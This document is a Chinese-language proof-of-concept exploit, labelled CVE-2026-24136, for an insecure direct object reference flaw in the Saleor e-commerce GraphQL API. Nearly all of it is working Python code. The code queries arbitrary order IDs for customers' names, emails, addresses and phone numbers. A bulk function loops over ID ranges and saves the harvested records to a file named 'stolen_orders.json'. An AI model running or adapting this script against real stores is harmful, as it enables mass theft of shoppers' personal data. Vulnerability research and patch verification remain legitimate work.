CVE-2026-24136: Saleor电商平台IDOR漏洞导致敏感信息泄露

# CVE-2026-24136 PoC - Saleor IDOR漏洞利用 # 攻击者可以通过遍历订单ID获取任意用户订单信息 import requests import json TARGET_URL = "https://target-saleor-instance/graphql/" def exploit_idor(target_url, order_id): """ 利用Saleor IDOR漏洞获取指定订单的敏感信息 Args: target_url: Saleor GraphQL API地址 order_id: 目标订单ID Returns: 订单敏感信息（JSON格式） """ # 构造恶意的GraphQL查询，直接传入任意订单ID query = ''' query { order(id: "%s") { id number status user { email firstName lastName } billingAddress { firstName lastName streetAddress1 streetAddress2 city postalCode country { country } phone } shippingAddress { firstName lastName streetAddress1 streetAddress2 city postalCode country { country } phone } lines { productName variantName quantity unitPrice { amount currency } } total { amount currency } } } ''' % order_id headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } response = requests.post( target_url, json={"query": query}, headers=headers, timeout=10 ) return response.json() def mass_exploit(target_url, start_id, end_id): """ 批量利用：遍历指定范围的订单ID收集用户数据 """ results = [] for order_id in range(start_id, end_id + 1): try: data = exploit_idor(target_url, f"Order-{order_id}") if "errors" not in data and data.get("data", {}).get("order"): order_info = data["data"]["order"] results.append(order_info) print(f"[+] 获取订单 {order_id} 成功") except Exception as e: print(f"[-] 获取订单 {order_id} 失败: {e}") # 保存收集到的数据 with open("stolen_orders.json", "w") as f: json.dump(results, f, indent=2, ensure_ascii=False) return results # 示例使用 if __name__ == "__main__": # 单个订单测试 result = exploit_idor(TARGET_URL, "Order-1001") print(json.dumps(result, indent=2, ensure_ascii=False))